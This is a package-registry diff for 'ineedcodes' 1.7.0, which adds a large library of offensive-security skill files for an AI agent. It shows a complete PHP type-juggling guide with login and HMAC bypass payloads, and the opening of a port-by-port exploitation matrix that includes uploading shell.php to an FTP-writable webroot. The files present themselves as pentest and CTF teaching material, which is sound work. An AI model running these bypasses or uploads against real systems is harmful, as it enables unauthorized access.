ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,291 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: type-juggling
|
|
3
|
+
description: >-
|
|
4
|
+
PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply.
|
|
10
|
+
|
|
11
|
+
## 0. QUICK START
|
|
12
|
+
|
|
13
|
+
**First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
|
|
14
|
+
|
|
15
|
+
### First-pass payloads (auth / token shape)
|
|
16
|
+
|
|
17
|
+
```text
|
|
18
|
+
password[]=x
|
|
19
|
+
password=
|
|
20
|
+
0
|
|
21
|
+
0e12345
|
|
22
|
+
240610708
|
|
23
|
+
QNKCDZO
|
|
24
|
+
true
|
|
25
|
+
[]
|
|
26
|
+
{"password":true}
|
|
27
|
+
admin%00
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Minimal PHP probes (local or `php -r` in lab)
|
|
31
|
+
|
|
32
|
+
```php
|
|
33
|
+
<?php
|
|
34
|
+
// Loose compare probes — run in target PHP major version if possible
|
|
35
|
+
var_dump('0e123' == '0e999');
|
|
36
|
+
var_dump('123a' == 123);
|
|
37
|
+
var_dump(md5('240610708') == md5('QNKCDZO'));
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Routing hints
|
|
41
|
+
|
|
42
|
+
| Clue | Next step |
|
|
43
|
+
|---|---|
|
|
44
|
+
| Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 |
|
|
45
|
+
| `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes |
|
|
46
|
+
| `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 |
|
|
47
|
+
| `strcmp`、`json_decode(..., true)`、`intval` | Section 5 |
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## 1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS
|
|
52
|
+
|
|
53
|
+
PHP compares operands with type juggling unless you use `===` or `hash_equals()` for secrets.
|
|
54
|
+
|
|
55
|
+
### 1.1 Core examples (strings vs numbers)
|
|
56
|
+
|
|
57
|
+
| Expression | Result | Mechanism (short) |
|
|
58
|
+
|---|---|---|
|
|
59
|
+
| `'0010e2' == '1e3'` | **true** | Both strings look numeric → compared as **floats**; both parse to **1000.0** (not zero — common exam trap; see next row for real “both zero”) |
|
|
60
|
+
| `'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` | **true** | Both parse as **0.0** in scientific notation |
|
|
61
|
+
| `'123a' == 123` | **true** | String cast to int stops at first non-digit → `123` |
|
|
62
|
+
| `'abc' == 0` | **true** (PHP **7.x and earlier**) | Non-numeric string compared to int → string becomes `0` |
|
|
63
|
+
| `'' == 0` | **true** | Empty string → `0` |
|
|
64
|
+
| `'' == false` | **true** | both “falsy” in loose rules |
|
|
65
|
+
| `false == NULL` | **true** | loose equality |
|
|
66
|
+
| `0 == false` | **true** | loose equality |
|
|
67
|
+
| `'' == 0 == false == NULL` | **true** (chain) | Each adjacent pair is **true** under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain |
|
|
68
|
+
| `'0' == false` | **true** | String `'0'` is the **only** non-empty string that compares as false to boolean |
|
|
69
|
+
| `'php' == 0` | **false** (PHP **8+**) | PHP 8: non-numeric string **no longer** equals `0` |
|
|
70
|
+
|
|
71
|
+
### 1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
|
|
72
|
+
|
|
73
|
+
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|
|
74
|
+
|---|---|---|
|
|
75
|
+
| `0 == "foo"` | **true** (string → 0) | **false** |
|
|
76
|
+
| String-to-number for `"123a"` | Still truncates for `(int)` / numeric compare in many `==` paths | Same idea for numeric strings; **non-numeric** vs int fixed as above |
|
|
77
|
+
| `md5([])` / `sha1([])` | May warn / `NULL`-like behavior in older patterns | **TypeError** for wrong types — kills classic `[]` tricks unless error handling collapses to NULL |
|
|
78
|
+
|
|
79
|
+
**Tester takeaway**: always note **PHP version** from headers, `X-Powered-By`, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
|
|
80
|
+
|
|
81
|
+
### 1.3 Safe alternative (defense / verification)
|
|
82
|
+
|
|
83
|
+
```php
|
|
84
|
+
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
|
|
85
|
+
// or
|
|
86
|
+
$expected === $actual;
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## 2. MAGIC HASHES (`0e…` + digits only)
|
|
92
|
+
|
|
93
|
+
When both sides are **hex-looking hash strings** that match `^0e[0-9]+$`, PHP treats them as **floats in scientific notation** → value **0.0**. Then `md5(A) == md5(B)` is **true** even though digests differ as strings.
|
|
94
|
+
|
|
95
|
+
### 2.1 Reference table (MD5 / SHA-1 and longer algos)
|
|
96
|
+
|
|
97
|
+
| Algorithm | Example input | Digest (starts with `0e` + all decimal digits) |
|
|
98
|
+
|---|---|---|
|
|
99
|
+
| **MD5** | `240610708` | `0e462097431906509019562988736854` |
|
|
100
|
+
| **MD5** | `QNKCDZO` | `0e830400451993494058024219903391` |
|
|
101
|
+
| **SHA-1** | `10932435112` | `0e07766915004133176347055865026311692244` |
|
|
102
|
+
| **SHA-224** | *(brute-force / precomputed)* | Example form: `0e` + decimal digits only → `==` with another such string is true |
|
|
103
|
+
| **SHA-256** | *(brute-force / precomputed)* | Same pattern: only strings matching `^0e\d+$` collide under `==` |
|
|
104
|
+
|
|
105
|
+
**Why it works**: `md5('240610708') == md5('QNKCDZO')` → both sides match `^0e[0-9]+$` → both interpreted as **0.0 == 0.0** → **true**.
|
|
106
|
+
|
|
107
|
+
### 2.2 Exploit pattern in code
|
|
108
|
+
|
|
109
|
+
```php
|
|
110
|
+
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
|
|
111
|
+
// intended: different strings, same md5 (impossible for md5)
|
|
112
|
+
// actual: two different strings whose *digests* are magic hashes
|
|
113
|
+
}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### 2.3 Payload sketch (pair hunting)
|
|
117
|
+
|
|
118
|
+
```text
|
|
119
|
+
?a=240610708&b=QNKCDZO
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
For SHA-224/256, treat as **search problem**: brute-force inputs until digest matches `^0e\d+$`; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## 3. HMAC BYPASS (LOOSE COMPARE VS `"0"` OR `0`)
|
|
127
|
+
|
|
128
|
+
If logic uses **loose** inequality against a constant:
|
|
129
|
+
|
|
130
|
+
```php
|
|
131
|
+
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
|
|
132
|
+
// or == 0, == false with string "0e...", etc.
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
Brute-force **`$data`** (e.g. timestamp, nonce, counter) until `hash_hmac` output matches **`^0e[0-9]+$`** (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to `0` or to another magic digest under `==`.
|
|
136
|
+
|
|
137
|
+
### Example (MD5-style `0e` digest for a numeric message)
|
|
138
|
+
|
|
139
|
+
| Concept | Example |
|
|
140
|
+
|---|---|
|
|
141
|
+
| Message type | Unix timestamp, incrementing id, millisecond clock |
|
|
142
|
+
| Timestamp brute-force pattern | Tutorials sometimes cite `1539805986` → `0e772967136366835494939987377058` as a **magic-hash style** example; **`md5('1539805986')` does not yield that digest** in stock PHP — use the idea (scan timestamps / counters until output matches `^0e[0-9]+$`) and **always verify against the exact function + key** in the target code. |
|
|
143
|
+
| Goal | Find `$data` such that `hash_hmac('md5', $data, $key)` matches `^0e[0-9]+$` |
|
|
144
|
+
| Note | Without knowing `$key`, you may still brute **`$data`** if algorithm/output are visible in a oracle; CTFs often leak or fix key |
|
|
145
|
+
|
|
146
|
+
```text
|
|
147
|
+
# Conceptual: try many timestamps
|
|
148
|
+
for t in range(T0, T1):
|
|
149
|
+
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
|
|
150
|
+
use t
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
**Mitigation**: `hash_equals($mac, $expected)` + fixed-length hex/binary encoding; never compare HMAC to bare `"0"`.
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## 4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
|
|
158
|
+
|
|
159
|
+
Invalid types can yield **`NULL`** on the compared side; loose equality to another `NULL` or coerced value may pass.
|
|
160
|
+
|
|
161
|
+
| Call | Typical PHP 7/8 behavior |
|
|
162
|
+
|---|---|
|
|
163
|
+
| `md5([])` | PHP 8: **TypeError**; older: warnings / not reliable across versions |
|
|
164
|
+
| `sha1([])` | Same |
|
|
165
|
+
| **Idea** | If error handler or custom wrapper converts failures to **`NULL`**, then `NULL == NULL` or `NULL == sha1("x")` if other side is also NULL |
|
|
166
|
+
|
|
167
|
+
```php
|
|
168
|
+
// CTF / broken code mental model:
|
|
169
|
+
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
**Real audits**: look for **`@`**, custom `try/catch` that sets hash to `null`, or user input passed where a string is required.
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## 5. CTF PATTERNS
|
|
177
|
+
|
|
178
|
+
### 5.1 `strcmp` / `strcasecmp` with arrays
|
|
179
|
+
|
|
180
|
+
```php
|
|
181
|
+
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
|
|
182
|
+
// NULL == 0 → true in loose compare if code does:
|
|
183
|
+
if (strcmp($_GET['p'], $secret) == 0)
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
Payload:
|
|
187
|
+
|
|
188
|
+
```text
|
|
189
|
+
?p[]=1
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
### 5.2 `intval` bypass
|
|
193
|
+
|
|
194
|
+
```php
|
|
195
|
+
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
|
|
196
|
+
intval("0x1A", 0); // → 26
|
|
197
|
+
|
|
198
|
+
// Octal: leading 0 can be parsed as octal with base 0
|
|
199
|
+
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
|
|
200
|
+
|
|
201
|
+
// Scientific notation: intval() alone stops at 'e'; cast via float first
|
|
202
|
+
intval((float) "1e2"); // → 100
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
```text
|
|
206
|
+
?id=0x1A
|
|
207
|
+
?id=010
|
|
208
|
+
?id=1e2
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
### 5.3 `json_decode` + `true` for associative array auth
|
|
212
|
+
|
|
213
|
+
```json
|
|
214
|
+
{"password": true}
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
```php
|
|
218
|
+
$j = json_decode($input, true);
|
|
219
|
+
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
### 5.4 `is_numeric` + loose compare
|
|
223
|
+
|
|
224
|
+
```php
|
|
225
|
+
is_numeric("0e12345"); // true
|
|
226
|
+
"0e12345" == 0; // true (scientific notation → 0.0)
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### 5.5 Deserialization + magic properties
|
|
230
|
+
|
|
231
|
+
Unserialize user input into objects whose `__toString` or properties feed into `md5($obj)` or loose compare — combine with **magic hash** strings on properties (CTF). Look for `unserialize($_…)` near `==` on hashes.
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
## 6. DECISION TREE
|
|
236
|
+
|
|
237
|
+
```text
|
|
238
|
+
+------------------+
|
|
239
|
+
| PHP loose compare|
|
|
240
|
+
| or hash == hash? |
|
|
241
|
+
+--------+---------+
|
|
242
|
+
|
|
|
243
|
+
+-------------+-------------+
|
|
244
|
+
| |
|
|
245
|
+
+------v------+ +------v------+
|
|
246
|
+
| Uses === or | | Uses == or |
|
|
247
|
+
| hash_equals | | strcmp == 0 |
|
|
248
|
+
+------+------+ +------+-------+
|
|
249
|
+
| |
|
|
250
|
+
STOP (likely) +-----v-----+
|
|
251
|
+
| Operand |
|
|
252
|
+
| types? |
|
|
253
|
+
+-----+-----+
|
|
254
|
+
+--------------+---+--------------+
|
|
255
|
+
| | |
|
|
256
|
+
+------v------+ +-----v-----+ +-------v--------+
|
|
257
|
+
| Both numeric| | One int & | | Hash digests |
|
|
258
|
+
| strings 0e… | | one string| | both 0e\d+ ? |
|
|
259
|
+
+------+------+ +-----+-----+ +-------+--------+
|
|
260
|
+
| | |
|
|
261
|
+
MAGIC HASH STRING/INT MAGIC HASH
|
|
262
|
+
COLLISION JUGGLING (md5/sha1/…)
|
|
263
|
+
| | |
|
|
264
|
+
+------+-------+------------------+
|
|
265
|
+
|
|
|
266
|
+
+------v------+
|
|
267
|
+
| HMAC / MAC |
|
|
268
|
+
| vs "0" |
|
|
269
|
+
+------+------+
|
|
270
|
+
|
|
|
271
|
+
brute $data
|
|
272
|
+
for 0e… digest
|
|
273
|
+
|
|
|
274
|
+
+------v------+
|
|
275
|
+
| Arrays / |
|
|
276
|
+
| json true / |
|
|
277
|
+
| strcmp([]) |
|
|
278
|
+
+-------------+
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
### Tool references
|
|
282
|
+
|
|
283
|
+
| Tool | Use |
|
|
284
|
+
|---|---|
|
|
285
|
+
| Local `php` CLI | Reproduce `==` behavior for target major version |
|
|
286
|
+
| Static code review | Grep `==`, `!=` on crypto outputs; find missing `hash_equals` |
|
|
287
|
+
| CTF frameworks | Payload generators for magic hashes and `0e` search |
|
|
288
|
+
|
|
289
|
+
---
|
|
290
|
+
|
|
291
|
+
**Safety & scope**: Use only on **authorized** targets (CTF, lab, written permission). This skill explains **language semantics** for defense and assessment — not a license to attack systems without consent.
|
|
@@ -0,0 +1,340 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: port-service-matrix
|
|
3
|
+
description: >-
|
|
4
|
+
Comprehensive service exploitation matrix organized by port number. Covers 20+ common services with enumeration, exploitation, and post-exploitation techniques for each.
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# PORT / SERVICE EXPLOITATION MATRIX
|
|
8
|
+
|
|
9
|
+
> Supplementary reference for [unauthorized-access-common-services](./SKILL.md). Organized by port for rapid triage during service enumeration.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## Port 21 — FTP
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
# Anonymous login
|
|
17
|
+
ftp TARGET
|
|
18
|
+
> anonymous / anonymous@
|
|
19
|
+
|
|
20
|
+
# Enumerate
|
|
21
|
+
nmap -sV -p 21 --script=ftp-anon,ftp-bounce,ftp-syst TARGET
|
|
22
|
+
|
|
23
|
+
# PUT to webroot (if writable + mapped to web directory)
|
|
24
|
+
ftp TARGET
|
|
25
|
+
> put shell.php
|
|
26
|
+
|
|
27
|
+
# FTP bounce scan (use FTP server to port scan internal hosts)
|
|
28
|
+
nmap -Pn -b anonymous@FTP_SERVER INTERNAL_TARGET
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Port 22 — SSH
|
|
32
|
+
|
|
33
|
+
```bash
|
